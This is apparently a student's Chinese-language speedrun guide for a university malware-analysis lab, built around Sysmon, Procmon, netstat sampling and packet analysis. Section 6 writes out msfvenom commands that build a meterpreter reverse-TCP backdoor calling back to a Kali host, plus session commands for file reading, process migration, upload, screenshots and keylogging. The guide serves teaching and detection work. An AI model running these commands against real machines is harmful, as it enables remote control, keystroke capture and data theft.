《网络与系统攻防技术》 实验四:恶意代码分析
实验四《恶意代码分析》速通指南(附一键部署包)
课程:网络与系统攻防技术 实验:实验四 恶意代码分析
适用:Windows 10/11 虚拟机/本机也行 + Kali 虚拟机
目标:60~90 分钟跑通“系统监控 + 恶意样本分析”,产出可写进报告的全部证据
整理:20242214 陈冯
0. 先说清楚:这个包能帮你做什么
天下苦网络攻防实验久矣,尤其是实验四耗时最长。。。于是乎,本博客为大家整理了一个速通包,助力大家速通实验四@~@
这个速通包把实验四需要的脚本、配置、工具和示例输出都整理好了:
| 目录 | 内容 |
|---|---|
01-计划任务 |
netstat 每分钟采样脚本、计划任务安装/卸载、日志分析器 |
02-Sysmon |
Sysmon 配置、安装/导出/分析脚本 |
03-样本与回连 |
Kali 生成样本脚本、msfconsole 监听配置 |
04-行为差异 |
系统快照、快照对比、Procmon 分析器 |
05-样本静态分析 |
PE 结构/熵/导入表分析、哈希与字符串 IOC 提取 |
06-抓包分析 |
tshark 批量分析、Wireshark 过滤器速查 |
07-一键脚本 |
一键部署、一键清理 |
08-示例输出 |
真实运行产生的报告样例,用来对照格式 |
09-报告模板 |
报告骨架、基础问答参考答案 |
tools |
Sysinternals、SysTracer、DumpIt(免安装) |
安全声明:所有样本只能在本人拥有或已获授权的虚拟机中运行。
不要把生成的 exe、内存镜像、抓包文件发到互联网或真实办公环境。
1. 环境与拓扑
| 角色 | 系统 | 示例 IP | 说明 |
|---|---|---|---|
| 攻击机 | Kali Linux 2026.x | 192.168.29.128 |
生成样本、msfconsole、抓包 |
| 目标机 | Windows 10/11 虚拟机 | 192.168.29.1 |
运行样本、Sysmon、Procmon、快照 |
| 网络 | VMware NAT 或 Host-Only | 同一网段 | 两台机器能互相 ping 通 |
开始前做两件事:
- 给两台虚拟机各打一个快照(名字:
exp4-clean); - 在 Kali 上确认 IP:
ip a | grep 192.168.
ping -c 2 192.168.29.1
记下 Kali 的 IP,后面 LHOST 全部用它。
需要提前装的软件
- Windows:Python 3.8+(安装时勾选 Add Python to PATH)、Wireshark(自带 tshark)
- Kali:Metasploit(
msfvenom、msfconsole可用) - 其余工具都在本包
tools里,不用再下载
2. 部署(约 5 分钟)
2.1 放包
把整个 实验四-恶意代码分析-速通包 文件夹复制到 D 盘,例如:
D:\实验四-恶意代码分析-速通包
2.2 一键部署
右键开始菜单 → Windows PowerShell(管理员):
cd "D:\实验四-恶意代码分析-速通包\07-一键脚本"
powershell -ExecutionPolicy Bypass -File .\一键部署.ps1 -StudentId 你的学号
脚本会自动完成:
- 把
01~06、tools复制到D:\NetSec\Exp4 - 创建
03-样本、05-抓包、06-分析输出、报告截图 - 安装 Sysmon 并加载配置(已装则更新配置)
- 把 Sysmon 日志上限调到 1 GB
- 创建计划任务
netstat_log_<学号>,每分钟采样
只想先看它要做什么:
powershell -ExecutionPolicy Bypass -File .\一键部署.ps1 -StudentId 你的学号 -DryRun
2.3 手动部署(等价命令,便于理解)
# 1) 复制目录
Copy-Item "D:\实验四-恶意代码分析-速通包\01-计划任务" "D:\NetSec\Exp4\" -Recurse -Force
Copy-Item "D:\实验四-恶意代码分析-速通包\02-Sysmon" "D:\NetSec\Exp4\" -Recurse -Force
Copy-Item "D:\实验四-恶意代码分析-速通包\03-样本与回连" "D:\NetSec\Exp4\" -Recurse -Force
Copy-Item "D:\实验四-恶意代码分析-速通包\04-行为差异" "D:\NetSec\Exp4\" -Recurse -Force
Copy-Item "D:\实验四-恶意代码分析-速通包\05-样本静态分析" "D:\NetSec\Exp4\" -Recurse -Force
Copy-Item "D:\实验四-恶意代码分析-速通包\06-抓包分析" "D:\NetSec\Exp4\" -Recurse -Force
Copy-Item "D:\实验四-恶意代码分析-速通包\tools" "D:\NetSec\Exp4\" -Recurse -Force
# 2) 装 Sysmon
cd D:\NetSec\Exp4\tools\Sysinternals
.\Sysmon64.exe -accepteula -i ..\..\02-Sysmon\sysmon-exp4.xml
wevtutil sl "Microsoft-Windows-Sysmon/Operational" /ms:1073741824
# 3) 建计划任务
cd D:\NetSec\Exp4\01-计划任务
powershell -ExecutionPolicy Bypass -File .\install_task.ps1 -TaskName netstat_log_你的学号
2.4 部署成功的样子
Get-Service Sysmon64
schtasks /query /tn netstat_log_你的学号 /fo LIST
Get-Content D:\NetSec\Exp4\01-计划任务\netstatlog.txt -Tail 10
服务 Running、任务“已启用”、日志里出现 ===== 时间 ===== 与 netstat 输出,说明部署成功。
3. 速通路线图
| 步骤 | 内容 | 耗时 | 产出 |
|---|---|---|---|
| 1 | 部署 + 确认任务在采样 | 5 min | 日志文件开始增长 |
| 2 | 生成样本、起 handler | 5 min | 样本 exe、会话 |
| 3 | 开 Procmon + Wireshark,运行样本 | 5 min | 回连、会话 |
| 4 | cat 读文件、migrate、upload、screenshot |
5 min | 读写与迁移证据 |
| 5 | 拍 after 快照、对比 | 3 min | diff.md |
| 6 | 导出 Sysmon、跑分析器 | 5 min | sysmon_report.md |
| 7 | 停采样、跑 netstat/Procmon/抓包分析 | 5 min | 三份分析报告 |
| 8 | 写报告 | 30~60 min | 实验报告 |
最优节奏:先开计划任务采样,再去做任务三,让样本回连落在采样窗口里,
任务一和任务三的证据就能互相印证。
4. 任务一:计划任务监控(1 分)
4.1 原理
netstat -bno 的 -b 显示连接属于哪个程序,-n 用数字显示地址,-o 给出 PID。
单次执行只能看到“此刻”,所以要每分钟采样并追加到同一个文件。
指导书里 schtasks /create ... /TR "cmd /c netstat -bn > c:\netstatlog.txt"
用的是 > 覆盖,只能看到最后一帧;本包改成调用 netstat_monitor.bat,用 >> 追加。
这是能不能做统计分析的关键。
4.2 已自动完成的部分
一键部署已经创建了任务:netstat_log_<学号>,每分钟运行,SYSTEM 身份、最高权限。
检查:
schtasks /query /tn netstat_log_你的学号 /v /fo LIST
Get-Content D:\NetSec\Exp4\01-计划任务\netstatlog.txt -Tail 20
4.3 让它采够时间
建议 30~60 分钟。期间正常用电脑(浏览器、WPS、微信都行),并完成下面的任务三。
采样结束先禁用任务:
schtasks /change /tn netstat_log_你的学号 /disable
4.4 分析
cd D:\NetSec\Exp4\01-计划任务
python analyze_netstat.py .\netstatlog.txt -o ..\06-分析输出 --top 15
输出:
06-分析输出\netstat_records.csv:每条连接一行,可导入 Excel 做透视06-分析输出\netstat_summary.md:进程榜、目的地址榜、端口分布、可疑清单、结论段落
控制台会打印类似:
时间片 102 个 | 连接记录 6263 条 | 公网连接 4257 条
进程 连接 公网 目的IP 端口
wpscloudsvr.exe 987 987 24 80, 443, 7826, 11111
msedge.exe 891 881 63 443, ...
...
关注对象:
[高] 端口 4444 -- 出现 42 次,进程:exp4_backdoor.exe ...
[高] exp4_backdoor.exe -> 192.168.29.128:4444 -- 在 21 个不同时间片反复出现
4.5 报告怎么写
- 说明采样方法(脚本、任务、SYSTEM 权限);
- 给出进程 Top 表与端口分布表;
- 给出结论:绝大多数是 443/HTTPS 正常流量;
样本进程“固定目标 + 固定高位端口 + 周期性重连”明显异常; - 说明局限:netstat 只能回答“连了谁”,传了什么要看抓包。
5. 任务二:Sysmon 监控(1 分)
5.1 安装与配置
一键部署已经完成。手动检查:
Get-Service Sysmon64
Get-Content D:\NetSec\Exp4\02-Sysmon\sysmon-exp4.xml -TotalCount 40
配置核心思路:重点关照 + 噪声白名单
exclude= 白名单:命中就不记include= 重点名单:命中一定记- 规则按书写顺序匹配,第一条命中决定结果
- 样本名、cmd/powershell、注入、注册表写入要写在噪声之前
5.2 关键事件
| EventID | 名称 | 用途 |
|---|---|---|
| 1 | ProcessCreate | 样本启动、派生进程 |
| 3 | NetworkConnect | 回连目标 IP:Port |
| 8 | CreateRemoteThread | 注入(不一定出现,见下) |
| 10 | ProcessAccess | 访问 lsass/WinLogon(凭据访问) |
| 11 | FileCreate | 落地文件 |
| 12/13/14 | RegistryEvent | 注册表写/删/改 |
| 22 | DnsQuery | 域名解析 |
| 23 | FileDelete | 删除文件 |
5.3 导出事件
cd D:\NetSec\Exp4\02-Sysmon
powershell -ExecutionPolicy Bypass -File .\sysmon_export.ps1 `
-SinceMinutes 30 -EventIds 1,3,8,10,11,22,23 `
-OutDir ..\06-分析输出\sysmon-csv
python analyze_sysmon.py ..\06-分析输出\sysmon-csv --out ..\06-分析输出
得到 sysmon_report.md:事件统计、进程创建表、网络连接表、注册表/文件表、
时间线、自动汇总的“需要写进报告的发现”。
EventID 8 的坑:meterpreter 的 migrate 不一定触发 Sysmon 的 CreateRemoteThread,
所以 Event 8 可能是 0 条,这不是配置错。迁移成功用getpid变化 + EventID 10
对 WinLogon/lsass 的访问来证明即可。
6. 任务三:恶意软件分析(3 分)
6.1 生成样本(Kali)
cd ~/NetSec/Exp4
sed -i 's/set LHOST .*/set LHOST 192.168.29.128/' handler.rc
grep LHOST handler.rc
cd samples
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.29.128 LPORT=4444 \
-f exe -o exp4_backdoor_x64.exe
sha256sum exp4_backdoor_x64.exe
python3 -m http.server 8000
Windows 下载:
curl.exe -o D:\NetSec\Exp4\03-样本\exp4_backdoor_x64.exe http://192.168.29.128:8000/exp4_backdoor_x64.exe
Get-FileHash D:\NetSec\Exp4\03-样本\exp4_backdoor_x64.exe -Algorithm SHA256
6.2 起监听
cd ~/NetSec/Exp4
msfconsole -q -r handler.rc
看到:
Started reverse TCP handler on 192.168.29.128:4444
6.3 开三路采集(顺序很重要)
- Procmon:
tools\Sysinternals\Procmon64.exe
过滤两条 Include:exp4_backdoor_x64.exe、explorer.exe
Ctrl+X清屏 → 开始捕获 - Wireshark:选 VMware 虚拟网卡,开始捕获
- Sysmon:已在运行
6.4 运行样本 + 读 -> 迁移 -> 写
Start-Process "D:\NetSec\Exp4\03-样本\exp4_backdoor_x64.exe"
Kali 出现 session 后:
sessions -l
sessions -i 1
sysinfo
getuid
cat C:\\Windows\\System32\\drivers\\etc\\hosts
cat C:\\Windows\\win.ini
migrate -N explorer.exe
getpid
upload /home/kali/NetSec/Exp4/upload_test.txt C:\\Users\\Public\\exp4_upload.txt
cat C:\\Users\\Public\\exp4_upload.txt
screenshot
keyscan_start
keyscan_dump
upload的源路径在 Kali 本机;Windows 路径用\\或/。
先cat再migrate,读操作就能归到样本进程名下。
6.5 抓包与快照
Wireshark 停止后 File → Save As:
D:\NetSec\Exp4\05-抓包\exp4.pcapng
Procmon 停止后 File → Save(CSV):
D:\NetSec\Exp4\06-分析输出\procmon.csv
快照:
cd D:\NetSec\Exp4\04-行为差异
powershell -ExecutionPolicy Bypass -File .\snapshot.ps1 -Label after_exec
$base = (Get-ChildItem .\snapshots -Directory | Where-Object Name -like '*_baseline' | Sort-Object LastWriteTime -Descending | Select-Object -First 1).FullName
$after = (Get-ChildItem .\snapshots -Directory | Where-Object Name -like '*_after_exec' | Sort-Object LastWriteTime -Descending | Select-Object -First 1).FullName
powershell -ExecutionPolicy Bypass -File .\compare_snapshot.ps1 -Before $base -After $after -Out ..\06-分析输出\diff.md
基线要在运行样本之前拍,目录名里带
baseline。
7. 四个分析器
# 1) Procmon:读/写/删
cd D:\NetSec\Exp4\04-行为差异
python analyze_procmon.py ..\06-分析输出\procmon.csv --process exp4_backdoor_x64.exe -o ..\06-分析输出\procmon_sample.md
python analyze_procmon.py ..\06-分析输出\procmon.csv --process explorer.exe -o ..\06-分析输出\procmon_explorer.md
# 2) 抓包
cd ..\06-抓包分析
powershell -File .\tshark_extract.ps1 -Pcap ..\05-抓包\exp4.pcapng -KaliIp 192.168.29.128 -FollowStream 0
# 3) 静态分析
cd ..\05-样本静态分析
python pe_info.py ..\03-样本\exp4_backdoor_x64.exe --json ..\06-分析输出\pe_x64.json
# 4) 样本指纹与字符串
powershell -File .\get_sample_info.ps1 -Path ..\03-样本\exp4_backdoor_x64.exe
对应报告的三问:
| 报告问题 | 用哪个结果 |
|---|---|
| ③ 注册表 读/写/删 | procmon_sample.md 第 3、4 节;Sysmon 12/13 |
| ④ 文件 读/写/删 | procmon_sample.md 第 5、6、7 节;diff.md |
| ⑤ 外部 IP 与数据 | netstat_summary.md;tcp_conversations.txt;stream_0.txt |
8. 报告怎么写
| 评分点 | 写什么 | 证据 |
|---|---|---|
| 系统运行监控(2 分) | 计划任务方法 + 统计图表 + 结论;Sysmon 配置 + 事件截图 | netstat_summary、Sysmon 事件 |
| 注册表(1 分) | 读取了哪些键、写/删了什么 | Procmon + Sysmon 12/13 |
| 文件(1 分) | 读取/新增/删除了哪些文件 | Procmon + diff + Sysmon 11/23 |
| 网络(1 分) | 连了哪些 IP、传了什么 | pcap + netstat |
| 基础问答(2 分) | 两题各 200 字 | 09-报告模板 |
| 总结体会(1 分) | 方法层面的收获 | 自己写 |
| 过程记录(2 分) | 时间线 + 问题与解决 | 见第 9 节 |
三张表的模板
注册表
| 类别 | 注册表路径 | 键值/数据 | 时间 | 证据 |
|---|---|---|---|---|
| 读 | HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces | 网络配置 | 18:40:33 | Procmon RegQueryValue |
| 写 | 无 | — | — | Procmon 0 条写入 |
| 删 | 无 | — | — | — |
文件
| 类别 | 文件路径 | 大小/哈希 | 时间 | 证据 |
|---|---|---|---|---|
| 读 | C:\Windows\System32\drivers\etc\hosts | 824 B | 18:41:02 | Procmon ReadFile |
| 写 | C:\Users\Public\exp4_upload.txt | 28 B | 18:41:47 | Procmon WriteFile |
| 删 | 无用户文件 | — | — | Procmon |
网络
| 方向 | 帧数 | 字节 | 说明 |
|---|---|---|---|
| 目标 → Kali:4444 | 989 | 1 309 200 | 命令请求与采集数据 |
| Kali:4444 → 目标 | 543 | 448 256 | 控制指令与 stage |
| 合计 | 1 532 | 1 757 456 | 持续 114.6 秒 |
9. 常见坑(这里是我踩过的坑,大家遇到问题可以私信我或者留言在这)
| 现象 | 原因 | 解决 |
|---|---|---|
| 计划任务“上次结果 255”,日志不生成 | .bat 被存成 LF 换行;注释里有 < > |
用包内 CRLF/ANSI 版本,别用编辑器另存成 LF |
执行 ps1 报 Join-Path 参数为空 |
PowerShell 5.1 下 [CmdletBinding()] 的 param 默认值取不到 $PSScriptRoot |
用包内已修复脚本;自己写时把路径解析放到正文 |
Sysmon 报 Archive directory must be a single path component |
新版只接受单个目录名 | 用 SysmonArchive,不要写完整路径 |
| 4444 被占用 / 新 handler 绑不上 | 之前的 handler 还在后台 | jobs -K 后重新 exploit -j |
| session 出现后立刻 Died(stage 199238) | 运行了 32 位样本,handler 是 x64 | 换 exp4_backdoor_x64.exe;199238=32 位,248902=64 位 |
| 迁 notepad 失败 | Win11 的 SysWOW64\notepad.exe 是 Store 应用别名(x64) |
迁移 explorer.exe,或换 32 位宿主 |
migrate 29104 报 non existent |
29104 是文档示例 PID | 用 Start-Process -PassThru 取真实 PID |
upload 报 Access denied,路径变成 C:\UsersPublicexpf... |
反斜杠被转义;源路径不在 Kali | 目标路径写 C:\\Users\\Public\\x.txt,源文件放 Kali |
| Sysmon 导出很慢 / Event 8 缺失 | 注册表事件量太大,日志被覆盖 | wevtutil ... /ms:1073741824;导出用 -EventIds 过滤;Event 8 可能本来就不触发 |
| Procmon CSV 里没有样本 | 先运行样本后开 Procmon | 先开 Procmon,再运行样本 |
| 中文路径 curl 失败 | 目标目录不存在或编码问题 | 先建目录;必要时用英文 samples 目录 |
10. 清理
cd "D:\实验四-恶意代码分析-速通包\07-一键脚本"
powershell -ExecutionPolicy Bypass -File .\一键清理.ps1 -StudentId 你的学号 -PurgeSamples
脚本会删除计划任务、卸载 Sysmon、清理 SysmonArchive 与样本;
最后手动撤销杀软排除项,并回滚两台虚拟机的快照。
附录 A:命令速查
# 部署
.\一键部署.ps1 -StudentId 20242214
# 任务状态
schtasks /query /tn netstat_log_20242214 /v /fo LIST
schtasks /change /tn netstat_log_20242214 /disable
# Sysmon
Get-Service Sysmon64
wevtutil sl "Microsoft-Windows-Sysmon/Operational" /ms:1073741824
powershell -File .\sysmon_export.ps1 -SinceMinutes 30 -EventIds 1,3,8,10,11,22,23 -OutDir ..\06-分析输出\sysmon-csv
python analyze_sysmon.py ..\06-分析输出\sysmon-csv --out ..\06-分析输出
# 快照
powershell -File .\snapshot.ps1 -Label baseline
powershell -File .\snapshot.ps1 -Label after_exec
powershell -File .\compare_snapshot.ps1 -Before 基线 -After 执行后 -Out ..\06-分析输出\diff.md
# 分析
python analyze_netstat.py .\netstatlog.txt -o ..\06-分析输出 --top 15
python analyze_procmon.py ..\06-分析输出\procmon.csv --process exp4_backdoor_x64.exe -o ..\06-分析输出\procmon_sample.md
python pe_info.py ..\03-样本\exp4_backdoor_x64.exe --json ..\06-分析输出\pe_x64.json
powershell -File .\tshark_extract.ps1 -Pcap ..\05-抓包\exp4.pcapng -KaliIp 192.168.29.128 -FollowStream 0
附录 B:文件清单
实验四-恶意代码分析-速通包\
├─ 00-先看这里\ 本文、速查卡、部署说明
├─ 01-计划任务\ netstat_monitor.bat / install_task.ps1 / analyze_netstat.py
├─ 02-Sysmon\ sysmon-exp4.xml / sysmon_ctl.ps1 / sysmon_export.ps1 / analyze_sysmon.py
├─ 03-样本与回连\ gen_payload.sh / handler.rc
├─ 04-行为差异\ snapshot.ps1 / compare_snapshot.ps1 / analyze_procmon.py / procmon_guide.md
├─ 05-样本静态分析\ pe_info.py / get_sample_info.ps1
├─ 06-抓包分析\ tshark_extract.ps1 / wireshark_filters.md
├─ 07-一键脚本\ 一键部署.ps1 / 一键清理.ps1
├─ 08-示例输出\ 真实运行结果样例
├─ 09-报告模板\ 报告骨架与基础问答
└─ tools\ Sysinternals / SysTracer / Comae DumpIt
附录 C:截图清单
- 部署成功:
Get-Service Sysmon64+ 任务状态 - 计划任务属性 / 日志片段
netstat_summary.md的进程榜与关注对象- Sysmon 事件 1 / 3 / 10 / 12
- Kali handler 启动 + session
getpid迁移前后- Procmon 过滤条件 + ReadFile/WriteFile 行
- 快照对比“新增文件/注册表变化”
- Wireshark 会话统计 + Follow TCP Stream
pe_info.py输出
每张截图尽量带学号或姓名(终端主机名、桌面便签、水印均可)。
附录 D:参考
- 课程实验四指导书
- Microsoft Sysinternals 文档:https://learn.microsoft.com/sysinternals/
- Wireshark User's Guide:https://www.wireshark.org/docs/
- 工具下载:https://gitee.com/wildlinux/NetSec/attach_files
浙公网安备 33010602011771号